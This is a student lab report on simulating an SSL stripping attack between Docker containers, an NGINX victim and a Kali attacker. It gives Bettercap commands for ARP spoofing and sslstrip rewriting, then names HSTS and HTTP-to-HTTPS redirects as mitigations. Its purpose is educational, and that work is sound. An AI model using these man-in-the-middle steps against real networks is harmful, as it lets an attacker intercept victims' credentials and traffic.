Network Security Lab 1

Jordi Nadeu Ferran

1 Introduction

In this laboratory we simulate a SSL Striping attack in a controlled environment. To do this laboratory we will use two docker containers. An NGINX container (victim) hosting two websites: one on HTTP and one on HTTPS and Kali Linux container to simulate an attacker.

2 Build and run Docker containers

First of all we will create a docker network to interconnect the both containers, to do this we need to execute the following command:

```
docker network create lab-network
```

With the following commands create and run the container where we serve the two web pages using nginx:

```
docker build -t nginx ./nginx
```

```
docker run -d --name nginx --network lab-network -p 8080:80 -p 8443:443 nginx
```

With the following commands create and run the container where we will perfom the attack:

```
docker build -t kali ./kali
```

```
docker run -it --name kali --network lab-network kali
```

3 Simulating the SSL Stripping Attack

Once we run the kali container with interactive shell, we can continue with this steps.

Enable IP Forwarding in the Kali Container running the following command:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Then start Bettercap with the appropriate network interface, in our case "eth0":

```
bettercap -iface <interface-name>
```

Then in the Bettercap interactive shell, run where in our case the victim ip are the ip of the nginx container ("172.18.0.2"):

```
set arp.spoof.targets <victim-ip>
set http.proxy.sslstrip true
set http.proxy.sslstrip.mode rewrite
arp.spoof on
http.proxy on
```

Then we only need to verify if in the victim's browser, HTTPS connections it will be downgraded to HTTP.

4 Conclusions

The SSL stripping attack worked by exploiting weaknesses in the HTTP to HTTPS transition, combined with ARP spoofing to intercept traffic. The ARP poisoning are a MITM (Man-in-the-Middle) to position themselves as the intermediary between the victim and the server.

The mitigation requires a combination of server side configurations, user education, and network security tools. We can mitigate configuring web servers to enforce HSTS policies, ensuring that the browsers only communicate with the site using HTTPS. Another way to try to mitigate this kind of attacks are avoid hosting any content on HTTP. Redirect all HTTP traffic to HTTPS at the server level changing nginx configuration.